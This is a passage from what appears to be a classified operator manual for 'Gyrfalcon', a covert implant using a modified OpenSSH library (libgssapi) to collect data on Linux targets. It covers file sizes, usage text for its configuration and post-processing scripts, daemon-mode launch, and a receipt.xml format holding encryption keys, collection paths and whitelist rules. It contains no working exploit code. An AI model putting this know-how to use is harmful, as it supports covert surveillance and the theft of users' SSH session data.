	libgssapi.so.2.0.1	8388
RHEL 5.10 64-bit	client	24616
	libgssapi.so.2.0.1	11456
RHEL 6.4 32-bit	client	18500
	libgssapi.so.2.0.1	8232
RHEL 6.4 64-bit	client	24536
	libgssapi.so.2.0.1	11256
SuSE 10.1 32-bit	client	18980
	libgssapi.so.2.0.1	10116

	File	Size (bytes)
SuSE 10.1 64-bit	client	25592
	libgssapi.so.2.0.1	11496
Ubuntu 11.10 32-bit	client	26392
	libgssapi.so.2.0.1	9784
Ubuntu 11.10 64-bit	client	27464
	libgssapi.so.2.0.1	14696
---	genconfig.py	45738
---	postproc.py	11505

8 (U) Usage Statements

(U) Both genconfig.py and postproc.py will produce a usage statement if -h or –help is used on the command line.

(S//NF) `./genconfig.py -h`

```
Usage:  genconfig.py [options]

        Gyrfalcon Configuration Generator

Options:
        --version                  show program's version number and exit
        -h, --help                 show this help message and exit
        -V, --verbose              verbose generator output
        -g FILE, --generate=FILE   generate new configuration file and archive
        -u FILE, --update=FILE     update existing configuration file and archive
        -d FILE, --display=FILE    display existing configuration file via receipt.xml
```

(S//NF) `./postproc.py -h`

```
Usage:  postproc.py [options]

        Gyrfalcon Post Processor

Options:
        --version                  show program's version number and exit
        -h, --help                 show this help message and exit
        -V, --verbose              verbose post processing output
        -i FILE, --input=FILE      compressed, encrypted collection file
        -o FILE, --output=FILE     uncompressed, decrypted collection file
        -a FILE, --archive=FILE    target archive file created by genconfig.py
```

(S//NF) The application does not have a usage statement and can only be executed two different ways.

`./client /dev/null`	daemon mode [recommended for operations]
`./client /dev/zero`	application mode [least desirable for operations]

9 (U) Receipt.xml File Format

(S//NF) The genconfig.py Python script generates an XML receipt file recording the current configuration of Gyrfalcon on the target platform. The format of the file is defined below.

```
<config date=YYYY-MM-DD_HH:MM:SS.SSSSSS>
    <application name=”Gyrfalcon”>
        <version>2.0</version>
        <guid length=”16”>...</guid>
        <settings>
            <collect_size min=”4096” max=”4194304”>...</collect_size>
            <processor>intel</processor>
            <architecture>LITTLE_ENDIAN</architecture>
            <padding_1 length=”12”>...</padding_1>
            <padding_2 length=”12”>...</padding_2>
            <padding_3 length=”12”>...</padding_3>
        </settings>
    </application>
    <crypto>
        <symmetric name=”AES-256 CBC”>
            <aes_key length=”32”>...</aes_key>
            <aes_iv length=”16”>...</aes_iv>
        </symmetric>
        <asymmetric name=”RSA-2048”>
            <rsa_pubkey length=”451”>...</rsa_pubkey>
        </asymmetric>
    </crypto>
    <filesystem>
        <working_directory>...</working_directory>
        <configuration_file>...</configuration_file>
        <collection_file>...</collection_file>
        <client_file>...</client_file>
        <openssh_library>libgssapi.so.2.0.1</openssh_library>
        <private_key>private.pem</private_key>
        <public_key>public.pem</public.key>
    </filesystem>
    <white list count=”...”>
        <rule extra=”...” command=”...” address=”...”>1</rule>
        <rule extra=”...” command=”...” address=”...”>2</rule>
```

```
                <rule extra=”...” command=”...” address=”...”>3</rule>
                <rule extra=”...” command=”...” address=”...”>4</rule>
                <rule extra=”...” command=”...” address=”...”>5</rule>
                <rule extra=”...” command=”...” address=”...”>6</rule>
                <rule extra=”...” command=”...” address=”...”>7</rule>
                <rule extra=”...” command=”...” address=”...”>8</rule>
                <rule extra=”...” command=”...” address=”...”>9</rule>
                <rule extra=”...” command=”...” address=”...”>10</rule>
        </white list>
</config>
```